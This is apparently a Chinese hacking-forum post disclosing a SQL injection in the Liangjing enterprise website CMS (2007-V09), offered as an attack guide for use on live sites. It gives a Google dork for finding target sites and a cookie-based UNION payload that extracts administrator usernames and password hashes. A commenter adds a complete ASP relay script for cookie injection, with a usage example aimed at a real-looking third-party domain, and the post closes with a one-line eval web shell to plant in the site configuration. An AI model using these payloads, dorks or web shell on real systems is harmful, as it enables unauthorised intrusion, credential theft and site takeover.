良精企业网站管理系统2007-V09漏洞
涉及版本:良精企业网站管理系统(2007-V09)官方正式商业版其他版本未做测试
/*应该是所有的*/
漏洞文件:
EnProductShow.asp /*后续版本*/
Product_Show.asp /*早期版本*/
ProductShow.asp /*后期版本*/
其实都是一样的-_-!
漏洞描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp。关键代码如下
****************************************************************************
[复制到剪贴板]
CODE:
ID=trim(request(”ID”))
if ID=”" then
response.Redirect(”EnProduct.asp”)
end if
sql=”select * from Product where ID=” & ID & “”
Set rs= Server.CreateObject(”ADODB.Recordset”)
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write”<SCRIPT language=JavaScript>alert(’找不到此产品!’);”
response.write”javascript:history.go(-1)</SCRIPT>”
else
rs(”Hits”)=rs(”Hits”)+1
rs.update
****************************************************************************
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie利用方法:
Google搜索关键字 inurl:”EnProductShow.asp?id=”
cookie注入,支持union,Product表26个字段,演示如下
http://localhost/EnProductShow.asp?ID=229
javascript:alert(document.cookie=”id=”+escape(”229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin”))
http://localhost/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过
补充:南方数据企业网站管理系统 ver10.0,漏洞和这个是一样的,利用的方法也大致相同,只是admin的字段数目不一样而已
/*—————————-xiao.k的注释&补充_20080614—————————-*/
本来自己也在分析这个系统的,既然tr4c3在很久之前就分析了.我也没啥必要去看了.
发现的问题就是union不能alert出pwd.
我的方法是中转cookies注入,脚本原型来自jmdcw ########################################################
[复制到剪贴板]
CODE:
< %
ID=request(”ID”)’确认id存在!
JmdcwName=escape(ID)
JmStr=”id=”&JmdcwName
url=request(”url”)
if request(”mod”)=”1″ then
url2=”Product_Show.asp” ‘早期版本
else
url2=”ProductShow.asp” ‘后期版本
end if
Url=”http://”&url&”/”&url2 ‘请自行修改
JMUrl=url
JmRef=url
JmCok=”ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ”
JmCok=JmCok & “;” & Jmstr &”;”
JmCok=URLEncoding(JmCok)
jmstr=”"
response.write PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject(”msxml2.serverXMLHTTP”)
With Http
.Open “POST”,PostUrl,False
.SetRequestHeader “Content-Length”,Len(PostStr)
.SetRequestHeader “Content-Type”,”application/x-www-form-urlencoded”
.SetRequestHeader “Referer”,PostRef
.SetRequestHeader “Cookie”,PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = “”
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=”"
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & “%” & Hex(Hight1) & “%” & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
% >
########################################################
保存为cookies.asp
usage:
[url]http://blog.sadk.org/temp/02/cookies.asp?mod=2&url=admin.asp99.cn/ljweb2007&id=80[/url]
注意:需要添加关键字的.
id一定要存在
直接在配置里写马 "%><%execute(request("tmd"))%><%Response.End’
页:
[1]